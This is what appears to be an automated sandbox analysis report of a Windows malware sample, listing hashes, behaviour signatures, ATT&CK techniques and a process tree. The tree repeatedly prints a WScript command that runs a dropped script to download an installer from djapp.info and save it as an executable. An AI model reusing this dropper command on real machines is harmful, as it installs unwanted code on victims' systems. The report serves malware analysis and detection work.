Analysis

  • max time kernel
    135s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-05-2024 10:11

General

  • Target

    340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    340ea24d6ed504ce81d6f74cfcd78b2f

  • SHA1

    e40404d9630208c0930c671b1555a92939423908

  • SHA256

    1156482b8f1bec82e0b67e0d7cea60501256ef0d75a321d5c068fe1cffe31fe4

  • SHA512

    a3a1c43a15a878957477aa7078604f381797a37994f427545f27d83942ca71d7855f7854e2a2efa45bd2bf8b9f801012c8753c85f15abd360c9238e25892b884

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3s:/7BSH8zUB+nGESaaRvoB7FJNndnN

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4260
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe
      2⤵
      • Blocklisted process makes network request
      PID:1916
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe
      2⤵
      • Blocklisted process makes network request
      PID:3800
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe
      2⤵
      • Blocklisted process makes network request
      PID:396
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe
      2⤵
      • Blocklisted process makes network request
      PID:4248
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe
      2⤵
      • Blocklisted process makes network request
      PID:5068

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

JavaScript

1
T1059.007

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js
    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76